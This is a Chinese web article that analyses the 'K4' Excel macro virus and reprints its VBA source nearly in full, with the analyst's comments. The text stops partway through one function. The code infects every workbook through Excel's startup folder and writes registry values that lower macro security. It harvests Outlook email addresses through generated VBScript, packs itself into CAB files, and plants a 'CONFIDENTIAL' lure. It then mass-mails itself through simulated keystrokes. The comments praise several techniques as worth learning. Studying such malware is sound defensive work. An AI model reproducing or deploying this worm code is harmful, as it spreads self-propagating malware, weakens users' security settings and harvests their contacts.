天下网吧 >> 网吧天地 >> 网吧技术 >> 网吧安全 >> 正文

新型K4宏病毒代码分析报告

2012-12-2351CTO红黑联盟

  最近据说是新型的K4宏病毒到处肆虐,感染了办公室不少.xls文件,杀又杀不干净。对此互比较感兴趣,花了点时间跟踪了一下代码,并作了简要注释,基本了解该病毒的行为:

  以ToDOLE模块中的代码,在虚拟机XP+Excel2003下跟踪并注释了关键代码:

  '病毒行为主过程

  Private Sub auto_open()

  Application.DisplayAlerts = False

  If ThisWorkbook.Path <>Application.StartupPath Then

  Application.ScreenUpdating = False

  '删除.xls文件里的ThisWorkBook表单,以便写入带毒宏代码;

  Call delete_this_wk

  '复制带毒宏代码

  Call copytoworkbook

  '如果当前文件已经感染,则保存。

  If Sheets(1).Name <>"Macro1" Then Movemacro4 ThisWorkbook

  ThisWorkbook.Save

  Application.ScreenUpdating = True

  End If

  End Sub

  '以下过程向ThisWorkbook写入一段激活带毒代码;

  Private Sub copytoworkbook()

  Const DQUOTE = """"

  With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule

  .InsertLines 1, "Public WithEvents xx As Application"

  .InsertLines 2, "Private Sub Workbook_open()"

  .InsertLines 3, "Set xx = Application"

  .InsertLines 4, "On Error Resume Next"

  .InsertLines 5, "Application.DisplayAlerts = False"

  .InsertLines 6, "Call do_what"

  .InsertLines 7, "End Sub"

  .InsertLines 8, "Private Sub xx_workbookOpen(ByVal wb As Workbook)"

  .InsertLines 9, "On Error Resume Next"

  .InsertLines 10, "wb.VBProject.References.AddFromGuid _"

  .InsertLines 11, "GUID:=" &DQUOTE &"{0002E157-0000-0000-C000-000000000046}" &DQUOTE &", _"

  .InsertLines 12, "Major:=5, Minor:=3"

  .InsertLines 13, "Application.ScreenUpdating = False"

  .InsertLines 14, "Application.DisplayAlerts = False"

  .InsertLines 15, "copystart wb"

  .InsertLines 16, "Application.ScreenUpdating = True"

  .InsertLines 17, "End Sub"

  End With

  End Sub

  '删除临时工作表过程

  Private Sub delete_this_wk()

  Dim VBProj As VBIDE.VBProject

  Dim VBComp As VBIDE.VBComponent

  Dim CodeMod As VBIDE.CodeModule

  Set VBProj = ThisWorkbook.VBProject

  Set VBComp = VBProj.VBComponents("ThisWorkbook")

  Set CodeMod = VBComp.CodeModule

  With CodeMod

  .DeleteLines 1, .CountOfLines

  End With

  End Sub

  '病毒的主要行为框架

  Function do_what()

  If ThisWorkbook.Path <>Application.StartupPath Then

  '检测并当前打开xls文件时的状态,并初始化一些准备工作。

  RestoreAfterOpen

  '通过修改注册信任VB项,为下面的感染提供可能性。

  Call OpenDoor

  '把带毒模块写入Excel的自动启动项目,实现感染传播

  Call Microsofthobby

  '病毒的主体行为(大致是收集outlook的用户邮件列表并发送到指定邮箱里)

  Call ActionJudge

  End If

  End Function

  '把带毒模块'k4.xls'附加进每个打开的xls文件里。

  Function copystart(ByVal wb As Workbook)

  On Error Resume Next

  Dim VBProj1 As VBIDE.VBProject

  Dim VBProj2 As VBIDE.VBProject

  Set VBProj1 = Workbooks("k4.xls").VBProject

  Set VBProj2 = wb.VBProject

  '如果已经感染过,就退出

  If copymodule("ToDole", VBProj1, VBProj2, False) Then Exit Function

  End Function

  '把'k4.xls'带毒模块附加进每个打开的xls文件里。

  Function copymodule(ModuleName As String, _

  FromVBProject As VBIDE.VBProject, _

  ToVBProject As VBIDE.VBProject, _

  OverwriteExisting As Boolean) As Boolean

  On Error Resume Next

  Dim VBComp As VBIDE.VBComponent

  Dim FName As String

  Dim CompName As String

  Dim S As String

  Dim SlashPos As Long

  Dim ExtPos As Long

  Dim TempVBComp As VBIDE.VBComponent

  If FromVBProject Is Nothing Then

  copymodule = False

  Exit Function

  End If

  If Trim(ModuleName) = vbNullString Then

  copymodule = False

  Exit Function

  End If

  If ToVBProject Is Nothing Then

  copymodule = False

  Exit Function

  End If

  If FromVBProject.Protection = vbext_pp_locked Then

  copymodule = False

  Exit Function

  End If

  If ToVBProject.Protection = vbext_pp_locked Then

  copymodule = False

  Exit Function

  End If

  On Error Resume Next

  Set VBComp = FromVBProject.VBComponents(ModuleName)

  If Err.Number <>0 Then

  copymodule = False

  Exit Function

  End If

  FName = Environ("Temp") &"\" &ModuleName &".bas"

  If OverwriteExisting = True Then

  If Dir(FName, vbNormal + vbHidden + vbSystem) <>vbNullString Then

  Err.Clear

  Kill FName

  If Err.Number <>0 Then

  copymodule = False

  Exit Function

  End If

  End If

  With ToVBProject.VBComponents

  .Remove .Item(ModuleName)

  End With

  Else

  Err.Clear

  Set VBComp = ToVBProject.VBComponents(ModuleName)

  If Err.Number <>0 Then

  If Err.Number = 9 Then

  Else

  copymodule = False

  Exit Function

  End If

  End If

  End If

  FromVBProject.VBComponents(ModuleName).Export FileName:=FName

  SlashPos = InStrRev(FName, "\")

  ExtPos = InStrRev(FName, ".")

  CompName = Mid(FName, SlashPos + 1, ExtPos - SlashPos - 1)

  Set VBComp = Nothing

  Set VBComp = ToVBProject.VBComponents(CompName)

  If VBComp Is Nothing Then

  ToVBProject.VBComponents.Import FileName:=FName

  Else

  If VBComp.Type = vbext_ct_Document Then

  Set TempVBComp = ToVBProject.VBComponents.Import(FName)

  With VBComp.CodeModule

  .DeleteLines 1, .CountOfLines

  S = TempVBComp.CodeModule.Lines(1, TempVBComp.CodeModule.CountOfLines)

  .InsertLines 1, S

  End With

  On Error GoTo 0

  ToVBProject.VBComponents.Remove TempVBComp

  End If

  End If

  Kill FName

  copymodule = True

  End Function

  '在Excel的启动目录里保存带毒模块文件k4.xls,导致所有打开的.xls文件都自动附加上这个带毒模块。

  Function Microsofthobby()

  Dim myfile0 As String

  Dim MyFile As String

  On Error Resume Next

  myfile0 = ThisWorkbook.FullName

  MyFile = Application.StartupPath &"\k4.xls"

  '如果文件已经存在,则先删除,再保存。

  If WorkbookOpen("k4.xls") And ThisWorkbook.Path <>Application.StartupPath Then Workbooks("k4.xls").Close False

  Shell Environ$("comspec") &"/c attrib -S -h """&Application.StartupPath &"\K4.XLS""", vbMinimizedFocus

  Shell Environ$("comspec") &"/c Del /F /Q """&Application.StartupPath &"\K4.XLS""", vbMinimizedFocus

  Shell Environ$("comspec") &"/c RD /S /Q """&Application.StartupPath &"\K4.XLS""", vbMinimizedFocus

  If ThisWorkbook.Path <>Application.StartupPath Then

  Application.ScreenUpdating = False

  ThisWorkbook.IsAddin = True

  ThisWorkbook.SaveCopyAs MyFile

  ThisWorkbook.IsAddin = False

  Application.ScreenUpdating = True

  End If

  End Function

  '修改注册表,降低Excel的宏安全级别,让Excel接受所有VB项目的运行。

  Function OpenDoor()

  Dim Fso, RK1 As String, RK2 As String, RK3 As String, RK4 As String

  Dim KValue1 As Variant, KValue2 As Variant

  Dim VS As String

  On Error Resume Next

  VS = Application.Version

  Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")

  RK1 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" &VS &"\Excel\Security\AccessVBOM"

  RK2 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" &VS &"\Excel\Security\Level"

  RK3 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" &VS &"\Excel\Security\AccessVBOM"

  RK4 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" &VS &"\Excel\Security\Level"

  KValue1 = 1

  KValue2 = 1

  Call WReg(RK1, KValue1, "REG_DWORD")

  Call WReg(RK2, KValue2, "REG_DWORD")

  Call WReg(RK3, KValue1, "REG_DWORD")

  Call WReg(RK4, KValue2, "REG_DWORD")

  End Function

  '子函数:实现注册表的写入功能。

  Sub WReg(strkey As String, Value As Variant, ValueType As String)

  Dim oWshell

  Set oWshell = CreateObject("WScript.Shell")

  If ValueType = ""Then

  oWshell.RegWrite strkey, Value

  Else

  oWshell.RegWrite strkey, Value, ValueType

  End If

  Set oWshell = Nothing

  End Sub

  '宏病毒自我复制的一个过程。创建一个隐藏的"Macro1"工作表,并写入一些内容,备用。

  Private Sub Movemacro4(ByVal wb As Workbook)

  On Error Resume Next

  Dim sht As Object

  wb.Sheets(1).Select

  Sheets.Add Type:=xlExcel4MacroSheet

  ActiveSheet.Name = "Macro1"

  Range("A2").Select

  ActiveCell.FormulaR1C1 = "=ERROR(FALSE)"

  Range("A3").Select

  ActiveCell.FormulaR1C1 = "=IF(ERROR.TYPE(RUN(""" &Application.UserName &"""))=4)"

  Range("A4").Select

  ActiveCell.FormulaR1C1 = "=ALERT(""禁用宏,关闭 "&Chr(10) &Now &Chr(10) &"Please Enable Macro!"",3)"

  Range("A5").Select

  ActiveCell.FormulaR1C1 = "=FILE.CLOSE(FALSE)"

  Range("A6").Select

  ActiveCell.FormulaR1C1 = "=END.IF()"

  Range("A7").Select

  ActiveCell.FormulaR1C1 = "=RETURN()"

  For Each sht In wb.Sheets

  wb.Names.Add sht.Name &"!Auto_Activate", "=Macro1!$A$2", False

  Next

  wb.Excel4MacroSheets(1).Visible = xlSheetVeryHidden

  End Sub

  '尝试打开工作簿函数

  Private Function WorkbookOpen(WorkBookName As String) As Boolean

  WorkbookOpen = False

  On Error GoTo WorkBookNotOpen

  If Len(Application.Workbooks(WorkBookName).Name) >0 Then

  WorkbookOpen = True

  Exit Function

  End If

  WorkBookNotOpen:

  End Function

  '病毒主体行为集中在此过程,是个通过收集和发送邮件的方式把带毒文件传播的过程。

  Private Sub ActionJudge()

  Const T1 As Date = "10:00:00"

  Const T2 As Date = "11:00:00"

  Const T3 As Date = "14:00:00"

  Const T4 As Date = "15:00:00"

  Dim SentTime As Date, WshShell

  '通过强大的WScript.Shell对象进行操作。

  Set WshShell = CreateObject("WScript.Shell")

  '判断是安装有Outlook邮件程序,如果没有安装,病毒行为中止。

  If Not InStr(UCase(WshShell.RegRead("HKEY_CLASSES_ROOT\mailto\shell\open\command\")), "OUTLOOK.EXE") >0 Then Exit Sub

  '判断当前时间,在早上11-12点时,则读取已经搜索好的地址文件

  If Time >= T1 And Time <= T2 Or Time >= T3 And Time <= T4 Then

  '读取已经收集好的邮件地址文件标志,如果不符合条件,则退出

  If ReadOut("D:\Collected_Address:frag1.txt") = "1" Then

  Exit Sub

  '否则,将搜索里面的内容

  Else

  CreateFile "1", "D:\Collected_Address:frag1.txt"

  search_in_OL

  End If

  '如果不在指定的时间段,则执行以下行为:

  Else

  '判断有没有安装OutLook,如果没有安装,则结束代码。

  If Not if_outlook_open Then Exit Sub

  '再判断一个特定时间段,

  If Time >T2 And Time <= DateAdd("n", 10, T2) Or Time >T4 And Time <= DateAdd("n", 10, T4) Then

  Exit Sub

  Else

  SentTime = DateAdd("n", -21, Now)

  On Error GoTo timeError

  SentTime = CDate(ReadOut("D:\Collected_Address:frag2.txt"))

  timeError:

  If Now

  Exit Sub

  Else

  '创建一个文件文件,保存导出的邮件地址文件

  CreateFile "", "D:\Collected_Address:frag1.txt"

  CreateFile Now, "D:\Collected_Address:frag2.txt"

  '以邮件的形式将这些收集到的邮件地址打包并发送到指定的地址,病毒的主体行为目的在此!!

  '即把带毒的vbs和xls文件打包好成cab文件,然后指发送到搜集到的Outlook里的用户列表地址中去,

  '以此实现网络传播……

  CreatCab_SendMail

  End If

  End If

  End If

  End Sub

  '以下过程通过创建Wscript对象执行一段在后台搜索Outlook用户邮件地址列表的vbs脚本。

  '奶奶的,写得不错,值得借鉴。

  Private Sub search_in_OL()

  Dim i As Integer, AttName As String, AddVbsFile As String, AddListFile As String, fs As Object, WshShell As Object

  On Error Resume Next

  '启动强大的scripting.filesystemobject对象搜索文件

  Set fs = CreateObject("scripting.filesystemobject")

  Set WshShell = CreateObject("WScript.Shell")

  '创建E:\KK文件夹,临时保存等一下用到的 "<.xls文件名>_clear.vbs"

  If fs.Folderexists("E:\KK") = False Then fs.CreateFolder "E:\KK"

  AttName = Replace(Replace(Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4), "", "_"), ".", "_")

  AddVbsFile_clear = "E:\KK\" &AttName &"_clear.vbs"

  i = FreeFile

  '准备在该.vbs文件中写入代码。

  '大概意思:激活当前Outlook到最前窗口,并发送一系列按键(未测试这些按键对Outlook操作了什么)。

  Open AddVbsFile_clear For Output Access Write As #i

  Print #i, "On error Resume Next"

  Print #i, "Dim wsh, tle, T0, i"

  Print #i, " T0 = Timer"

  Print #i, " Set wsh=createobject(""" &"wscript.shell""" &")"

  Print #i, " tle = """&"Microsoft Office Outlook""" &""

  Print #i, "For i = 1 To 1000"

  Print #i, " If Timer - T0 >60 Then Exit For"

  Print #i, " Call Refresh()"

  Print #i, " wscript.sleep 05"

  Print #i, " wsh.sendKeys """&"%a""" &""

  Print #i, " wscript.sleep 05"

  Print #i, " wsh.sendKeys """&"{TAB}{TAB}""" &""

  Print #i, " wscript.sleep 05"

  Print #i, " wsh.sendKeys """&"{Enter}""" &""

  Print #i, "Next"

  Print #i, "Set wsh = Nothing"

  Print #i, "wscript.quit"

  Print #i, "Sub Refresh()"

  Print #i, "Do Until wsh.AppActivate(CStr(tle)) = True"

  Print #i, " If Timer - T0 >60 Then Exit Sub"

  Print #i, "Loop"

  Print #i, " wscript.sleep 05"

  Print #i, " wsh.SendKeys """&"%{F4}""" &""

  Print #i, "End Sub"

  Close (i)

  '再生成一个"<.xls文件名>_Search.vbs"文件,并写入代码

  '代码功能是在后台收集Outlook的好友邮件列表。看来作者对Outlook的用户列表文件内容研究很深入。

  '奶奶的,居然还调用了“正则表达式”来提取邮件地址,真有两下子。

  AddVbsFile_search = "E:\KK\" &AttName &"_Search.vbs"

  i = FreeFile

  Open AddVbsFile_search For Output Access Write As #i

  Print #i, "On error Resume Next"

  Print #i, "Const olFolderInbox = 6"

  Print #i, "Dim conbinded_address,WshShell,sh,ts"

  Print #i, "Set WshShell=WScript.CreateObject(""" &"WScript.Shell""" &")"

  Print #i, "Set objOutlook = CreateObject(""" &"Outlook.Application""" &")"

  Print #i, "Set objNamespace = objOutlook.GetNamespace(""" &"MAPI""" &")"

  Print #i, "Set objFolder = objNamespace.GetDefaultFolder(olFolderInbox)"

  Print #i, "Set TargetFolder = objFolder"

  Print #i, "conbinded_address = """&""""&""

  Print #i, "Set colItems = TargetFolder.Items"

  Print #i, "wscript.sleep 300000"

  Print #i, "WshSHell.Run (""" &"wscript.exe "&AddVbsFile_clear &""""&"), vbHide, False"

  Print #i, "ts = Timer"

  Print #i, "For Each objMessage in colItems"

  Print #i, " If Timer - ts >55 then exit For"

  Print #i, " conbinded_address = conbinded_address &valid_address(objMessage.Body)"

  Print #i, "Next"

  Print #i, "add_text conbinded_address, 8"

  Print #i, "add_text all_non_same(ReadAllTextFile), 2"

  Print #i, "WScript.Quit"

  Print #i, ""

  Print #i, "Private Function valid_address(source_data)"

  Print #i, " Dim oDict, trimed_data , temp_data, i, t_asc, header_end, trimed_arr, nonsame_arr"

  Print #i, " Dim regex, matchs, ss, arr()"

  Print #i, " Set oDict = CreateObject(""" &"Scripting.Dictionary""" &")"

  Print #i, " Set regex = CreateObject(""" &"VBSCRIPT.REGEXP""" &")"

  Print #i, ""

  Print #i, " regex.Global = True"

  '这里学习啦,提取邮件地址的正则!

  Print #i, " regex.Pattern = """&"\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*""" &""

  Print #i, " Set matchs = regex.Execute(source_data)"

  Print #i, " ReDim trimed_arr(matchs.Count - 1)"

  Print #i, " For i = Lbound(trimed_arr) To Ubound(trimed_arr)"

  Print #i, " trimed_arr(i) = matchs.Item(i) &vbCrLf"

  Print #i, " Next"

  Print #i, ""

  Print #i, " For i = LBound(trimed_arr) To UBound(trimed_arr)"

  Print #i, " oDict(trimed_arr(i)) = """&""""&""

  Print #i, " Next"

  Print #i, ""

  Print #i, " If oDict.Count >0 Then"

  Print #i, " nonsame_arr = oDict.keys"

  Print #i, " For i = LBound(nonsame_arr) To UBound(nonsame_arr)"

  Print #i, " valid_address = valid_address &nonsame_arr(i)"

  Print #i, " Next"

  Print #i, " End If"

  Print #i, " Set oDict = Nothing"

  Print #i, "End Function"

  Print #i, ""

  '把搜索到的邮件地址字符串保存到以下新建的D:\Collected_Address\log.txt文件里去。

  Print #i, "Private Sub add_text(inputed_string, input_frag)"

  Print #i, " Dim objFSO, logfile, logtext, log_path, log_folder"

  Print #i, " log_path = """&"D:\Collected_Address""" &""

  Print #i, " Set objFSO = CreateObject(""" &"Scripting.FileSystemObject""" &")"

  Print #i, " On Error resume next"

  Print #i, " Set log_folder = objFSO.CreateFolder(log_path)"

  Print #i, ""

  Print #i, " If objFSO.FileExists(log_path &"""&"\log.txt""" &") = 0 Then"

  Print #i, " Set logfile = objFSO.CreateTextFile(log_path &"""&"\log.txt""" &", True)"

  Print #i, " End If"

  Print #i, " Set log_folder = Nothing"

  Print #i, " Set logfile = Nothing"

  Print #i, ""

  Print #i, " Select Case input_frag"

  Print #i, " Case 8"

  Print #i, " Set logtext = objFSO.OpenTextFile(log_path &"""&"\log.txt""" &", 8, True, -1)"

  Print #i, " logtext.Write inputed_string"

  Print #i, " logtext.Close"

  Print #i, " Case 2"

  Print #i, " Set logtext = objFSO.OpenTextFile(log_path &"""&"\log.txt""" &", 2, True, -1)"

  Print #i, " logtext.Write inputed_string"

  Print #i, " logtext.Close"

  Print #i, " End Select"

  Print #i, " set objFSO = nothing"

  Print #i, "End Sub"

  Print #i, ""

  Print #i, "Private Function ReadAllTextFile()"

  Print #i, " Dim objFSO, FileName, MyFile"

  Print #i, " FileName = """&"D:\Collected_Address\log.txt""" &""

  Print #i, " Set objFSO = CreateObject(""" &"Scripting.FileSystemObject""" &")"

  Print #i, " Set MyFile = objFSO.OpenTextFile(FileName, 1, False, -1)"

  Print #i, " If MyFile.AtEndOfStream Then"

  Print #i, " ReadAllTextFile = """&""""&""

  Print #i, " Else"

  Print #i, " ReadAllTextFile = MyFile.ReadAll"

  Print #i, " End If"

  Print #i, "set objFSO = nothing"

  Print #i, "End Function"

  Print #i, ""

  Print #i, "Private Function all_non_same(source_data)"

  Print #i, " Dim oDict, i, trimed_arr, nonsame_arr"

  Print #i, " all_non_same = """&""""&""

  Print #i, " Set oDict = CreateObject(""" &"Scripting.Dictionary""" &")"

  Print #i, ""

  Print #i, " trimed_arr = Split(source_data, vbCrLf)"

  Print #i, ""

  Print #i, " For i = LBound(trimed_arr) To UBound(trimed_arr)"

  Print #i, " oDict(trimed_arr(i)) = """&""""&""

  Print #i, " Next"

  Print #i, ""

  Print #i, " If oDict.Count >0 Then"

  Print #i, " nonsame_arr = oDict.keys"

  Print #i, " For i = LBound(nonsame_arr) To UBound(nonsame_arr)"

  Print #i, " all_non_same = all_non_same &nonsame_arr(i) &vbCrLf"

  Print #i, " Next"

  Print #i, " End If"

  Print #i, " Set oDict = Nothing"

  Print #i, "End Function"

  Close (i)

  Application.WindowState = xlMaximized

  '激活以上代码,当然是vbHide的形式

  WshShell.Run ("wscript.exe "&AddVbsFile_search), vbHide, False

  Set WshShell = Nothing

  End Sub

  '以下过程是把 带毒模块和一个vbs脚本文 件通过makecab命令打包保存到 "E:\SORCE\<文件名>.cab"文件里。

  'NND,这个过程写得也相当巧妙,值得学习!

  Private Sub CreatCab_SendMail()

  Dim i As Integer, AttName As String, AddVbsFile As String, AddListFile As String, Address_list As String

  Dim fs As Object, WshShell As Object

  Address_list = get_ten_address

  Set WshShell = CreateObject("WScript.Shell")

  Set fs = CreateObject("scripting.filesystemobject")

  If fs.Folderexists("E:\SORCE") = False Then fs.CreateFolder "E:\SORCE"

  AttName = Replace(Replace(Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4), "", "_"), ".", "_")

  mail_sub = "*" &AttName &"*Message*"

  AddVbsFile = "E:\sorce\" &AttName &"_Key.vbs"

  i = FreeFile

  Open AddVbsFile For Output Access Write As #i

  Print #i, "Dim oexcel,owb, WshShell,Fso,Atta_xls,sh,route"

  Print #i, "On error Resume Next"

  Print #i, "Set sh=WScript.CreateObject(""" &"shell.application""" &")"

  Print #i, "sh.MinimizeAll"

  Print #i, "Set sh = Nothing"

  Print #i, "Set Fso = CreateObject(""" &"Scripting.FileSystemObject""" &")"

  Print #i, "Set WshShell = WScript.CreateObject(""" &"WScript.Shell""" &")"

  Print #i, "If Fso.Folderexists(""" &"E:\KK""" &") = False Then Fso.CreateFolder """&"E:\KK"""

  Print #i, "Fso.CopyFile _"

  Print #i, "WshShell.CurrentDirectory &"""&"\" &AttName &"*.CAB""" &"," &""&"""E:\KK\""" &", True"

  Print #i, "For Each Atta_xls In ListDir(""" &"E:\KK""" &")"

  Print #i, " WshShell.Run """&"expand """&"&Atta_xls &"""&"-F:" &AttName &".xls E:\KK""" &", 0, true"

  Print #i, "Next"

  Print #i, "If Fso.FileExists(""" &"E:\KK\" &AttName &".xls""" &") = 0 then"

  Print #i, " route = WshShell.CurrentDirectory &"""&"\" &AttName &".xls"""

  Print #i, " if Fso.FileExists(WshShell.CurrentDirectory &"""&"\" &AttName &".xls""" &")=0 then"

  Print #i, " route = InputBox(""" &"Warning! """&"&Chr(10) &"""&"You are going to open a confidential file.""" &"&Chr(10) _"

  Print #i, " &"""&"Please input the complete file path.""" &"&Chr(10) &"""&"ex. C:\parth\confidential_file.xls""" &", _"

  Print #i, " """&"Open a File""" &", """&"Please Input the Complete File Path""" &", 10000, 8500)"

  Print #i, " End if"

  Print #i, "else"

  Print #i, " route = """&"E:\KK\" &AttName &".xls"""

  Print #i, "End If"

  Print #i, " set oexcel=createobject(""" &"excel.application""" &")"

  Print #i, " set owb=oexcel.workbooks.open(route)"

  Print #i, " oExcel.Visible = True"

  Print #i, "Set oExcel = Nothing"

  Print #i, "Set oWb = Nothing"

  Print #i, "Set WshShell = Nothing"

  Print #i, "Set Fso = Nothing"

  Print #i, "WScript.Quit"

  Print #i, "Private Function ListDir (ByVal Path)"

  Print #i, " Dim Filter, a, n, Folder, Files, File"

  Print #i, " ReDim a(10)"

  Print #i, " n = 0"

  Print #i, " Set Folder = fso.GetFolder(Path)"

  Print #i, " Set Files = Folder.Files"

  Print #i, " For Each File In Files"

  Print #i, " If left(File.Name," &Len(AttName) &") = """&AttName &"""and right(File.Name,3) = """&"CAB""" &"Then"

  Print #i, " If n >UBound(a) Then ReDim Preserve a(n*2)"

  Print #i, " a(n) = File.Path"

  Print #i, " n = n + 1"

  Print #i, " End If"

  Print #i, " Next"

  Print #i, " ReDim Preserve a(n-1)"

  Print #i, " ListDir = a"

  Print #i, "End Function"

  Close (i)

  AddListFile = ThisWorkbook.Path &"\TEST.txt"

  i = FreeFile

  Open AddListFile For Output Access Write As #i

  Print #i, "E:\sorce\" &AttName &"_Key.vbs"

  Print #i, "E:\sorce\" &AttName &".xls"

  Close (i)

  Application.ScreenUpdating = False

  RestoreBeforeSend

  ThisWorkbook.SaveCopyAs "E:\sorce\" &AttName &".xls"

  RestoreAfterOpen

  c4$ = CurDir()

  ChDrive Left(ThisWorkbook.Path, 3) '"C:\"

  ChDir ThisWorkbook.Path

  '隐藏打包带病文件

  WshShell.Run Environ$("comspec") &"/c makecab /F """&ThisWorkbook.Path &"\TEST.TXT""" &"/D COMPRESSIONTYPE=LZX /D COMPRESSIONMEMORY=21 /D CABINETNAMETEMPLATE=../" &AttName &".CAB", vbHide, False

  Do Until fs.FileExists(ThisWorkbook.Path &"\TEST.txt") _

  And fs.FileExists(ThisWorkbook.Path &"\setup.rpt") And fs.FileExists(ThisWorkbook.Path &"\setup.inf") _

  And fs.FileExists(ThisWorkbook.Path &"\" &AttName &".CAB")

  DoEvents

  Loop

  WshShell.Run Environ$("comspec") &"/c RD /S /Q """&ThisWorkbook.Path &"\disk1""", vbHide, False

  '俗话说,偷吃要抹嘴啊~,删除那些临时文件。

  WshShell.Run Environ$("comspec") &"/c Del /F /Q """&ThisWorkbook.Path &"\TEST.txt""", vbHide, False

  WshShell.Run Environ$("comspec") &"/c Del /F /Q """&ThisWorkbook.Path &"\setup.rpt""", vbHide, False

  WshShell.Run Environ$("comspec") &"/c Del /F /Q """&ThisWorkbook.Path &"\setup.inf""", vbHide, False

  WshShell.Run Environ$("comspec") &"/c RD /S /Q E:\sorce", vbHide, False

  If fs.Folderexists("E:\KK") = False Then fs.CreateFolder "E:\KK"

  WshShell.Run Environ$("comspec") &"/c MOVE /Y "&AttName &".CAB E:\KK""", vbHide, False

  ChDir c4$

  Call Massive_SendMail(Address_list, AttName, "Dear all," &vbCrLf &AttName &vbCrLf &"FYI", _

  "", "E:\KK\" &AttName &".CAB")

  WshShell.Run Environ$("comspec") &"/c RD /S /Q E:\KK", vbHide, False

  Set WshShell = Nothing

  Application.ScreenUpdating = True

  End Sub

  '群发邮件过程:这个过程太有趣了,如果真的被运用了,你一定会被惊呆!!!

  '居然是通过激活当前正在运行的Outlook,然后模拟按键进行群发邮件,这个过程让你感到:你被远程控制了!!

  Private Sub Massive_SendMail(Email_Address$, Subject$, Body$, CC_email_add$, Attachment$)

  Dim objOL As Object

  Dim itmNewMail As Object

  If Not if_outlook_open Then Exit Sub

  Set objOL = CreateObject("Outlook.Application")

  Set itmNewMail = objOL.CreateItem(olMailItem)

  With itmNewMail

  .Subject = Subject

  .Body = Body

  .To = Email_Address

  .CC = CC_email_add

  .Attachments.Add Attachment

  .DeleteAfterSubmit = True

  End With

  On Error GoTo continue

  SendEmail:

  itmNewMail.display

  Debug.Print "setforth "

  DoEvents

  DoEvents

  DoEvents

  SendKeys "%s", Wait:=True

  DoEvents

  GoTo SendEmail

  continue:

  Set objOL = Nothing

  Set itmNewMail = Nothing

  End Sub

  '以下函数通过读取进程列表,判断是否有Outlook运行。

  Private Function if_outlook_open() As Boolean

  Set objs = GetObject("WinMgmts:").InstancesOf("Win32_Process")

  if_outlook_open = False

  For Each obj In objs

  If InStr(obj.Description, "OUTLOOK") >0 Then

  if_outlook_open = True

  Exit For

  End If

  Next

  End Function

  '生成一随机数,不感兴趣。

  Private Function RadomNine(length As Integer) As String

  Dim jj As Integer, k As Integer, i As Integer

  RadomNine = ""

  If length <= 0 Then Exit Function

  If length <= 10 Then

  For i = 1 To length

  RadomNine = RadomNine &"$$" &i

  Next i

  Exit Function

  End If

  jj = length / 10

  Randomize

  For i = 1 To 10

  k = Int(Rnd * (jj * i - m - 1)) + 1

  If m + k <>1 Then RadomNine = RadomNine &"$$" &m + k

  m = m + k

  Next

  End Function

  '从D:\Collected_Address\log.txt文件中读取已经收集好的邮件地址,用于群发。

  Private Function get_ten_address() As String

  Dim singleAddress_arr, krr, i As Integer

  get_ten_address = ""

  singleAddress_arr = Split(ReadOut("D:\Collected_Address\log.txt"), vbCrLf)

  krr = Split(RadomNine(UBound(singleAddress_arr) - LBound(singleAddress_arr) + 1), "$$")

  For i = 1 To UBound(krr)

  get_ten_address = get_ten_address &";"&singleAddress_arr(CInt(krr(i)) - 1)

  Next i

  End Function

  '调用FSO对象读取指定文件的属性

  Private Function ReadOut(FullPath) As String

  On Error Resume Next

  Dim Fso, FileText

  Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")

  Set FileText = Fso.OpenTextFile(FullPath, 1, False, -1)

  ReadOut = FileText.ReadAll

  FileText.Close

  End Function

  '自定义一个创建文件过程,还带有标志呢,备用。

  Private Sub CreateFile(FragMark, pathf)

  On Error Resume Next

  Dim Fso, FileText

  '这是干嘛呢,"scRiPTinG.fiLEsysTeMoBjEcT"写得乱七八糟的,不就是Script.FileSystemObject对象嘛。

  Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")

  If Fso.Folderexists(Left(pathf, Len(pathf) - 10)) = False Then Fso.CreateFolder Left(pathf, Len(pathf) - 10)

  If Fso.FileExists(pathf) Then

  Set FileText = Fso.OpenTextFile(pathf, 2, False, -1)

  FileText.Write FragMark

  FileText.Close

  Else

  Set FileText = Fso.OpenTextFile(pathf, 2, True, -1)

  FileText.Write FragMark

  FileText.Close

  End If

  End Sub

  Private Sub RestoreBeforeSend()

  Dim aa As Name, i_row As Integer, i_col As Integer

  Dim sht As Object

  Application.ScreenUpdating = False

  Application.DisplayAlerts = False

  On Error Resume Next

  '以下清除在感染前写入的一些临时内容,出于隐蔽。

  '历遍当前工作簿,如果隐藏代码段 Auto_Activate 的话,删除!!不留痕迹。

  For Each aa In ThisWorkbook.Names

  aa.Visible = True

  If Split(aa.Name, "!")(1) = "Auto_Activate" Then aa.Delete

  Next

  '历遍当前工作表,如果有一个叫"Macro1"的话,删除!!不留痕迹。

  For Each sht In ThisWorkbook.Sheets

  If sht.Name = "Macro1" Then

  sht.Visible = xlSheetVisible

  sht.Delete

  End If

  Next

  Sheets(1).Select

  Sheets.Add

  For Each sht In ThisWorkbook.Sheets

  If sht.Name <>Sheets(1).Name Then sht.Visible = xlSheetVeryHidden

  Next

  '以下在第2个工作表里的随机单元格里写入一些内容:

  '提示新用户去执行vbs文件来解琐文件,目的是忽悠用户来激活宏病毒。

  i_row = Int((15 * Rnd) + 1)

  i_col = Int((6 * Rnd) + 1)

  Cells(i_row, i_col) = "** CONFIDENTIAL! ** "

  Cells(i_row + 2, i_col) = "Use "&Chr(34) &Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4) &"_key.vbs" &Chr(34) &"To Open This File."

  Cells(i_row + 3, i_col) = "请用 "&Chr(34) &Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4) &"_key.vbs" &Chr(34) &"解锁此文件."

  With Range(Cells(i_row, i_col), Cells(i_row + 2, i_col))

  .Font.Bold = True

  .Font.ColorIndex = 3

  End With

  Application.ScreenUpdating = True

  End Sub

  '删除当前表中"A1:F15"区域所有含有带"CONFIDENTIAL"字样的内容。

  Private Function RestoreAfterOpen()

  Dim sht, del_sht, rng, del_frag As Boolean

  On Error Resume Next

  del_sht = ActiveSheet.Name

